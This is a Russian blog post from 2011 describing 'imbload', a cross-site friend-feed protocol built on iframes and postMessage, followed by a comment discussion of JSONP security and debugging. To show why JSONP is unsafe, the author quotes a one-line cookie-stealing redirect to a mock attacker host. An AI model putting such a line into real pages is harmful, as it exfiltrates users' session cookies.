логин: 
<< предыдущая заметкаследующая заметка >>
23 апреля 2011
Внимание владельцам движков: imbload 1.0

Итак, мы вплотную приступили к реализации концепции браузерной ленты.

Честно сказать, я не собирался этим пока заниматься, а строил новый инсталлятор. Но выяснилось, что аякс меж разными сайтами уже не работает совсем (раньше еще в Firefox 2 работал, например), поэтому пришлось заняться межсайтовыми делами.

В итоге мы получили вполне работоспособный в новых браузерах imbload первой версии. Он пока ничего не умеет, кроме как отдавать контент.

Итак, обновляем движок (инсталл для новых инсталляций уже отключен, но в старых должен работать). Появился модуль IMBLOAD.php в другой папке (взамен старого — он неработоспособный). И появился модуль FRIENDS.php.

Далее надо создать страницу /imbload (руками {_IMBLOAD:_} или в /admin кнопкой) — этой странице сайт будет отвечать на запросы браузеров.

А также /friends — это будет ваша лента. В моей прописано сейчас так:

{_FRIENDS:
lleo.aha.ru/dnevnik
binoniq.net
lleo.aha.ru/blog
_}

Это список того, что я читаю в ленте.

Установите это, я с удовольствием впишу ваш блог в свою ленту и буду читать.

Вкратце принцип работы:

Загрузив страницу /friends, мой браузер получает задание — какие сайты ему надо самостоятельно обежать, чтобы собрать ленту (дату последнего обхода ленты он хранит в своем браузерном хранилище и предъявляет сайтам). Он создает нужное количество элементов iframe (даже если сторонний сайт захвачен врагом, iframe надежно изолирует) и в каждом iframe запрашивает сайты (по адресу http://сайт/imbload) отдать ему последние посты после такого-то времени и т.п. Посты сопровождаются специальным javascript, который общается с главным окном, помогает установить нужную высоту iframe после загрузки — само по себе центральное окно тоже никакого доступа в чужой iframe не имеет по браузерной политике безопасности. В будущем главное окно и окна iframe смогут общаться более плодотворно — там будет и восстановление недоступных постов из общественного кэша, и много чего интересного. Но пока первый шаг — интерактивная лента, собираемая браузером в реальном времени.

На вопросы типа «а зачем это, а чем не устраивает rss» я отвечать не буду, поскольку правильный ответ такой: я реализую особую модель ленты, при которой ленты собирает браузер в реальном времени. Считаю, что это нужно и за этим будущее. Нравится — присоединяйтесь.

Протокол простой, описываю:

Мой браузер, собирая ленту, запрашивает у вашего сайта такую страницу:

http://ваш_сайт/imbload?limit=2&time=333333#IMBLOAD|lleo.aha.ru|imbload4

Где:
limit=2 — максимальное число постов вашего сайта/блога, которые я прошу выдать
time=333333 — выдать заметки, чье время обновления старше этого времени в формате unix
можно использовать верхнее ограничение timeto=444444 — выдать заметки, чье время обновления до
И еще две опции, которые ваш сервер не увидит, но они нужны для возврата:
lleo.aha.ru — адрес сервера главного окна (сидя в iframe, вы его не узнаете)
imbload4 — id iframe в главном окне, куда вы подгрузитесь, его вы тоже сами бы не узнали

Далее ваш сайт получил всю информацию запроса и должен выдать страницу с нужными постами. Любую. Как угодно сверстанную. Хоть с рекламой, хоть с флэшом, хоть со скриптами — технология позволяет всё. Единственное требование: ваша страница должна самостоятельно определить свою высоту и передать в главное окно, чтобы я смог в своей ленте выровнять ваш iframe. Для этого надо выполнить на своей странице такой javascript:

if(window.top !== window.self) { var r=window.location.hash.split('|'); window.top.postMessage('HH|'+r[2]+'|'+(document.compatMode!='CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight),'http://'+r[1]);
}

Если вы используете собственный движок, поставьте подобный скрипт на свой сайт, чтобы он тоже мог отдавать заметки браузерам по imbload. Будем активно продвигать эту простую, но полезную технологию.

<< предыдущая заметка следующая заметка >>
пожаловаться на эту публикацию администрации портала
Страницы, которые привлекли мое внимание за последние дни, рекомендую:
2017-11-22 В июне 1982
архив ссылок
Оставить комментарий
Windows Opera
0
0
[email protected] (xtmb.info)
jsonp меж сайтами вполне работает, можно через него.
Windows Opera
0
0
[email protected] (xtmb.info)
На всякий случай:
По jsonp можно будет заодно получать и другой контент. Например, статьи педивикии:
http://ru.wikipedia.org/w/api.php?callback=lleoblogfriens&am[...]
Linux Firefox
 Москва
0
1
А вы в курсе, что такое JSON или просто что-то такое слышали?

Не будете ли вы так любезны написать мне, какие именно команды на сайте aaa.ru должен выполнить мой браузер (браузер, а не серверный скрипт), чтобы самостоятельно в фоне сходить на сайт bbb.ru и безопасно получить информацию по JSON. Безопасно - в смысле, допотопную JS-инъекцию не предлагать, она родилась на тыщупятьсот лет раньше JSON и совершенно негигиеническая вещь. Потому что один сайт из ленты окажется вдруг захвачен - и пиздец всему, уплывет вся авторизация, по всей ленте разбросается спам в каменты, а от имени админа можно будет убить все у себя.

Если расскажете как получать по JSON безопасную информацию - буду премного благодарен и узнаю для себя много нового. А если нет - то забудьте слово JSON навсегда.
Windows Opera
0
0
[email protected] (xtmb.info)
Для начала ваш движок должен уметь отдавать то, что нужно и как нужно.

А вот дальше... Был бы у вас жыквери. А так - да. Инъекция, гетом передаются параметры, в т.ч. и имя свежесозданной функции.

Итого <script src="биноник/imbload/?callback=friendblabla100500&limit=2&time=333333&timeto=444444"></script>

После загрузки скрипта в функцию friendblabla100500 должны передаться отформатированные данные.

На жквери все работает исправно. Но, повторюсь, на целевом сайте скрипт должен предварительно форматировать отдаваемый текст, что в принципе, он итак будет делать. Ведь нельзя же тупо отдавать всю заеткую Вдруг, автор захочет сделать кат, подзамки и прочую лабуду.
Windows Opera
0
0
[email protected] (xtmb.info)
С безопасностью да, наверное, тут проблемы.
Linux Firefox
 Москва
1
0
Да не "наверно", а 100% ;)

Достаточно мне на своем сайте начать JSON фразой:
windows.location=http://ukral.vse?document.cookie;

А можно и просто делать от имени тамошних админов действия, пока их браузеры инклудят мой JSON в родную страницу.

Это концепция безопасности windows-style.
Linux Firefox
 Москва
0
1
Дружище, мой движок год с лишним исправно отдавал JSON, потом я убрал этот модуль за ненадобностью. Могу снова положить, если надо.

Протокол этот имеет общее технологическое название JS-инъекция, а все остальные слова можно напридумывать. Придумал оформление фигурными скобочками - назвал JSON, придумал оформлять квадратными - ХРЕНСОН, и так далее.

Но это - JS-инъекция. А JS-инъекция возможна только в модели АБСОЛЮТНОГО доверия к источнику. Потому что это - запуск чужого кода в пространстве твоей родной страницы. Со всеми вытекающими последствиями.
Windows Opera
0
0
[email protected] (xtmb.info)
В принципе, можно и нормальным json обойтись. Ваш движок же может любые заголовки подставлять.

http://habrahabr.ru/blogs/webdev/114432/
Linux Firefox
 Москва
0
0
Мы говорим о разные вещах, и вы упорно не хотите меня понять.

JSON - это обертка данных, изначально предназначенная для ИСПОЛНЕНИЯ КАК КОД. Без исполнения в виде кода ее хрен распарсишь, она дикая.

А это не вяжется с концепцией безопасности.

Кроме того, я просто не понимаю, зачем в случае постов френдленты передавать их не как есть, а в перепакованном виде. Чтобы потом - что? Допустим, удалось безопасно передать данные. И что? Распаковать их и импортировать, опять же, в родную страницу со всеми возможными уязвимостями?
Windows Opera
1
0
[email protected] (xtmb.info)
JSON в итоге - обычный объект, без eval или прямой вставки ничего страшного не случиться.

Насчет потом. Зависит от того, что хотите получить вы и что хочет отдать френд. Если хотите только текст - получите текст, хотите с форматированием, придется прикручивать парсер. Скрипты и все потенциально опасное, конечно, придется вырезать.

Главное преимущество в том, что у хозяина дневника будет полный контроль над полученым текстом. Т.е. можно, например, сделать единое оформление (и убрать вырвиглазное), скрипты любимые присобачить, что там еще может в голову прийти.
Windows Opera
0
0
[email protected] (xtmb.info)
Или я действительно очень плохо понимаю весь механизм и без eval там никак?
Linux Firefox
 Москва
0
0
В мире миллион способов передавать текстовые переменные, но JSON создан исключительно ради eval и строго в формате eval. Чтобы схватить и сразу засунуть.

Для раскодирования другими средствами человечество придумало множество иных форматов. Например, urlencode в POST-запросе. Или serialize в PHP.
Linux Firefox
 Москва
0
0
"преимущество в том, что у хозяина дневника будет полный контроль над полученым текстом"

Вы путаете хозяина дневника и читателя дневника. Хозяин - это тот, с чего сайта читает данные читатель в своей ленте. И преимущество должно быть, как вы правильно заметили, именно у хозяина. Решать, как и что показывать, должен именно он. И лишь в отдельном iframe у него для этого такой же безграничный простор возможностей, как если бы кто-то зашел прямо к нему на сайт.
Windows Opera
0
0
[email protected] (xtmb.info)
Хозяин дневника, в котором френдлента, в смысле. Он волен решать, как и что хочет читать.
Linux Firefox
 Москва
0
0
Я так не считаю.

Читатель волен решать, читать ему или не читать.

А перепиливать чужие посты под свой вкус - это мы так далеко зайдем. Сегодня ему не понравился фон, а завтра он решит мата добавить.
Mac Safari
0
0
bukov_net (tonsky)
Скажем так, json вы с другого домена не загрузите, а jsonp — это считайте вы создаете стороннему сайту у себя место, где он (он, а не вы!) может исполнить любой джаваскрипт. По договоренности вы ему говорите, какую функцию у вас позвать, но слушать он не обязан.
Windows Opera
0
0
[email protected] (xtmb.info)
Чуть выше http://habrahabr.ru/blogs/webdev/114432/
Если json без eval не парсят (ду хер бы с именно json, можно и xml получать), тогда смысла нет все это ковырять.

А тем более, раз LLeo еще и не хочет, чтобы читатели настраивали отображение под себя.
Linux Firefox
 Москва
0
0
У меня это не работает.
Linux Firefox
 Москва
0
0
Я сейчас как раз строю свой совсем простенький ajax для кроссдоменного вызова на JS-инъекции. Это понадобилось для нового инсталлятора. Но там концепция безопасности позволяет: если уж админ выбрал из списка сервер, чтобы поставить себе движок с него (отныне lleo.aha.ru/blog не будет единственным местом установки), то уж наверно он в нем уверен на все 100%
Windows Firefox
0
0
zencd
Тут по-моему на сайты возлагается лишнее обязательство - высоту можно и самому подсчитать. Ниже пример работающий под лисой. Плюс нужно подумать что делать если высота айфрейма изменится (картинка подгрузится). Имхо уж лучше без них - защищённости (sandbox) всё равно никакой, одни проблемы - с фокусом ввода, с необходимостью пересчитывать высоту и пр.

http://pastebin.com/4zPyxkiY
Linux Firefox
 Москва
0
0
Классические грабли. Тестируйте свой код на объектах с РАЗНЫХ сайтов.

Вы никогда не подсчитаете высоту самостоятельно, если iframe был загружен c чужого сайта - мировая браузерная политика запрещает любой доступ по понятным причинам.
Windows Opera
0
0
[email protected] (xtmb.info)
Кстати. Такой вопрос - раз iframe позволяется немножко оформлять, например, убрать полосы прокрутки (как делает, тот же яндекс в виджетах), неужели тогда нельзя получить итоговые высоту и ширину фрейма?
Linux Firefox
 Москва
0
0
Нет. Только таким методом, как написал я.
Linux Firefox
 Пенза
0
0
Можете сделать страничку для тестирования этого imbload? Чтобы я мог вбить туда URL своего сайта и сразу увидеть, работает или нет.
Linux Firefox
 Москва
0
0
А что там может не работать? Эти две несчастные строчки скрипта, отправляющие главному окну информацию о высоте страницы?
Linux Firefox
 Пенза
0
0
Да мало ли что. Вечно ломается какая-нибудь мелочь.
Windows Firefox
0
0
Roman Erykalov
Нравится, присоединяемся :-)
Linux Firefox
 Москва
0
0
Круто! Прочел уже в ленте твой последний пост.

И даже успешно оставил комментарий. Но... Комментарий оставился не а заметке, а к САМОЙ СТРАНИЦЕ /imbload ;)))

Буду разбираться.
Linux Safari
0
0
Roman Erykalov
Ок, может, чтобы не возникало путаницы, запретить комменты к странице imbload? Это же не повлияет на возможность комментирования отдельных записей в ленте?
Nokia-E90 Safari
 Москва
0
0
lleo Nokia E90 (#909087)
Запретить-то надо. Но мне надо будет еще отловить, в чем ошибка...
Linux Safari
0
0
Roman Erykalov
Еще один упс: в мобильном браузере не подгружается лента, на странице friends я вижу только ссылки. Хотел тоже попробовать коммент оставить таким образом
Nokia-E90 Safari
 Москва
0
0
lleo Nokia E90 (#909087)
Да. Позже я сделаю работу с хэшиками и для старых браузеров, гле нет onmesage
Windows Opera
 Европа
0
0
Roman Erykalov
У меня friends, оказывается, не работает и на стационарном компе. Вчера, на работе, все подгружалось нормально.
Nokia-E90 Safari
 Москва
0
0
lleo Nokia E90 (#909087)
А что значит, не работает? Что именно пишет?
Windows Safari Chrome
 Европа
0
0
Roman Erykalov
Он, как и мобильный браузер, показывает мне содержание модуля - ссылки, на которые можно нажать и перейти на твои сайты. Проверил на chrome 10.0.648.204, Firefox/3.0.15, opera 11. На работе, конечно, ff поновее, но не настолько же.
Минут через 20 попробую проверить еще раз - у меня только что виртуальный сервак упал до кучи :-)
Windows Safari Chrome
 Европа
0
0
Roman Erykalov
http://lleo.aha.ru/dnevnik
http://binoniq.net
http://lleo.aha.ru/blog

Вот эти ссылки отображаются. Удивительное дело. Я тут подумал, может, что с серваком, типа, отказывается принимать почему-то данные, а потом понял, что тогда бы я и вчера не смог ленту прочитать..
Все-таки что-то у меня. Потому что твоя френдлента открывается нормально... А может, это просто css? Блин, но тогда мы опять возвращаемся к тому, почему вчера все работало. Если css, то это значит, что я создал страничку friends и ее не открыл. Вечером проверю свои догадки :)
Windows Opera
0
0
[email protected] (xtmb.info)
И важный для меня вопрос - есть ли в движке модуль бекапа/импорта/экспорта записей?

Я не дорвейщик, но мне нужно импортнуть тучу html-файлов. Думаю теперь, как бы это лучше организовать.
Linux Firefox
 Москва
0
0
В новом install есть работа с таблицами базы - копирование, восстановление.

Насчет импорта html я сам думал - у меня на сайте та же проблема. Но пока делаю вручную. С интерфейсом это не так сложно.
Windows Opera
0
0
[email protected] (xtmb.info)
Кстати, у моего ника рисуется конвертик, но уведомления на почту не приходят.
Windows Opera
 Европа
0
0
Roman Erykalov
Поехали.
Моя страничка friends ведет себя непредсказуемо. То показывает, то не показывает ленту. Значит, дело не в css.
Итак, Опера.
Загрузка страницы динамическая: сначала видно ссылки на ресурсы, указанные в параметрах модуля, и красненькие рамочки - пустые.
Далее, по принципу Гейзенберга :)
1. Самый частый вариант: красненькие рамочки пропадают. Остаются ссылки.
2. Получилось один раз при первой загрузке страницы, браузер был перезапущен только что: две новости из блога в красной рамочке.
3. Несколько раз: одна новость из дневника, одна из биноника, либо по одной с разных ресурсов.

Есть ощущение, что браузер пытается получить что-то, но, по его мнению, это слишком долго - и он забивает на это дело - вот еще, буду я со сторонних ресурсов всякое грузить...

В оперной консоли ошибок - булева туча строк предупреждений разной степени тяжести. В основном, можно на это забить - у браузера есть какие-то претензии к модулю addthis. У меня нет претензий, модуль работает - шли бы лесом эти буковки.
Но часть сообщений касается, видимо, попыток подгрузить данные на страницу. Текст такой:
JavaScript - http://lleo.aha.ru/blog/imbload?limit=2&time=1303592899
User Javascript thread
Uncaught exception: TypeError: Cannot convert 'opera.extension' to object
Error thrown at line 242, column 0 in program code:
opera.extension.onmessage = function(e) - скобочка

И таких сообщений тоже немало понатыкано, на каждый адрес - несколько штук.

Так что, чем богаты. Если это исследование хоть в чем-то поможет разобраться, буду рад:-)
Nokia-E90 Safari
 Москва
0
0
lleo Nokia E90 (#909087)
Предлагаю в /friends в модуль FRIENDS дописать параметр:
cleantime=20000

А то он по умолчанию через 2 секунды рамочки сбрасывает, если не прогрузились.
Windows Opera
 Европа
0
0
Roman Erykalov
:)
Да, работает!
Windows Opera
0
0
[email protected] (xtmb.info)
opera.extension?

Это из какого-то расширениия скорее. А если их все выключить, косяк остается?
Windows Opera
 Европа
0
0
Roman Erykalov
я попробовал авторский вариант - заработало. Дело было все-таки в медленном соединении. А то, что в консоли ошибок пишут, видимо, не влияет особо ни на что.
Nokia-E90 Safari
 Москва
0
0
lleo Nokia E90 (#909087)
Что-то у меня мозг отклдючился в тот момент наверно - поставил по умолчанию в модуле 2 секунды зачем-то...
А можно ли не только по времени собирать, но и как-то учитывать факт (не)прочтённости?
Linux Firefox
 Москва
0
0
А по времени - это и есть факт непрочтенности. Как только ты прочел ленту и нажал кнопку "я прочел", браузер запоминает дату запроса этой ленты (фиксируется в момент загрузки). Все, что после этой даты - не прочтенное.

Остается только вариант, что ты сам параллельно зашел на чей-то сайт и прочел новый пост, а потом загрузил свою ленту, и снова его там увидел... Ну и что?
Windows Safari Chrome
0
0
Не уверен, что предыдущий комментарий ушел, поэтому повторюсь.

> должен выдать страницу с нужными постами. Любую. Как угодно сверстанную. Хоть с рекламой, хоть с флэшом, хоть со скриптами — технология позволяет всё

В этом есть, безусловно, минус. Нет никакой возможности настроить отбражение этой ленты так, как удобно мне, читателю (ну, например, на http://erlanger.ru/ три из четырех колонок тоже грузятся браузером и форматируется так, как надо).

Это не критика, это я работаю капитаном очевидность :) Но без усложнения протокола обмена данными этот минус не обойти
Linux Firefox
 Москва
0
0
А что значит "как удобно мне"?

Когда читатель открывает статьи в разных окнах браузера, они показываются ему так, как задумал владелец. А когда эти статьи для удобства отображаются лентой в одном окне, они должны вдруг начать выглядеть "как удобно мне"?

Если вы хотите заполучить копию голого текста заметки/новости и иметь ее в хвост и гриву - для этого когда-то придумали RSS.

То, что предлагаю я, - это именно защищенное встраивание авторского контента без малейшего вторжения в чужую страницу и без каких-либо ограничений по функционалу - хоть javascript используйте вовсю, хоть рекламными банерами завесьте (пока читатели не выкинут вас из ленты).
Windows Safari Chrome
0
0
> То, что предлагаю я, - это именно защищенное встраивание авторского контента без малейшего вторжения в чужую страницу и без каких-либо ограничений по функционалу

В таком контексте против ленты ничего не имею против.


А полностью мысль формировать и расписывать лениво :)
Windows Opera
0
0
[email protected] (xtmb.info)
Влезу и сюда. Имеется в виду некое подобие френдленты в жж - неважно, какой стиль у читаемого журнала. Пусть хоть текст белым-по-черному написан, хоть баннерами и картинками все по бокам обвешано. В френдленте стиль общий для всех записей.

Если брать шире - именно из-за разного оформления в дневниках я уже года три читаю жж только с style=mine.
Linux Firefox
 Москва
0
0
Я бы при дальнейшем развитии формата может и ввел бы передачу рекомендательных параметров - хотя бы шрифт и фон. Но никто их соблюдать не обязан.

А вы наверно дизайнер. А я по текстам. Мне бы также хотелось, чтобы и все тексты в ленте были одного стиля.

А то один матом пишет, другой на капслок срывается, третий зануда и нытик, четвертый постоянно цитирует огромные куски всякой хрени, пятый постоянно картинки постит, шестой обожает словечки и цитаты на иностранном, хрен поймешь, а
седьмая все ноет - то у нее зима не кончается, то весна не наступает, то жара задолбала, то дождь.

На фоне этого мне оформление не важно - лишь бы не белые буквы на черном фоне.

Но, к сожалению, никто мне такой возможности не дает.

всего комментариев: 52

<< предыдущая заметка следующая заметка >>